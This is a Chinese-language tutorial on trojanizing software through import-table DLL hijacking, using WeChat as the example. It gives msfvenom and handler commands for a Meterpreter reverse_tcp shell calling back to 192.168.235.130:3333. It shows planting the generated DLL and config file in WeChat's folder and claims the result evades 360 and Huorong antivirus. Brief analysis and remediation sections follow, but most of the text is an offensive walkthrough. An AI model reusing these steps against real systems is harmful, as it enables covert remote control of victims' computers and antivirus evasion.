1.概述

这种DLL注入的特点不同于前面分析的经典DLL注入、createremotethreat等，上面的技术特点是使用Loadlibrary、createremotethreat等API函数来实现相应的注入，其注入以后会生成rundll32.exe，并使用rundll32来调用相应的DLL，其处置的时候只需要将rundll32.exe关闭就可以。
而使用导入到注入表这种注入会把相应的恶意DLL写入到目标程序的导入表中，这样的话每次调用目标程序时都会调用恶意的DLL程序，这样就可以加载相应的恶意DLL，而处置时必须将相应的DLL删除，并恢复导入表，不过个人建议比较好的处置方式是重新安装应用程序。

2.实践

2.1 生成C语言马

  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.235.130 lport=3333  -f c -o shell.c

image.png
image.png

2.2 格式泛化

image.png

2.3 生成DLL文件

image.png
会生成两个文件：conf.ini和wwwcomw.dll
image.png

2.4 劫持软件

以劫持微信为例，将上面生成的两个文件拷贝到微信所在的目录
image.png
image.png
image.png
image.png

2.5 监听

  1. handler -H 192.168.235.130 -P 3333 -p windows/meterpreter/reverse_tcp

image.png

2.6 运行微信马上线

运行劫持后的微信
image.png

2.7 效果

可过360、火绒（动态和静态都可过）
image.png
image.png

3. 分析

image.png
导入表
image.png

导出表
image.png

4. 处置

  1. 直接将恶意的DLL删除，并恢复DLL导入表
    2. 重新安装应用程序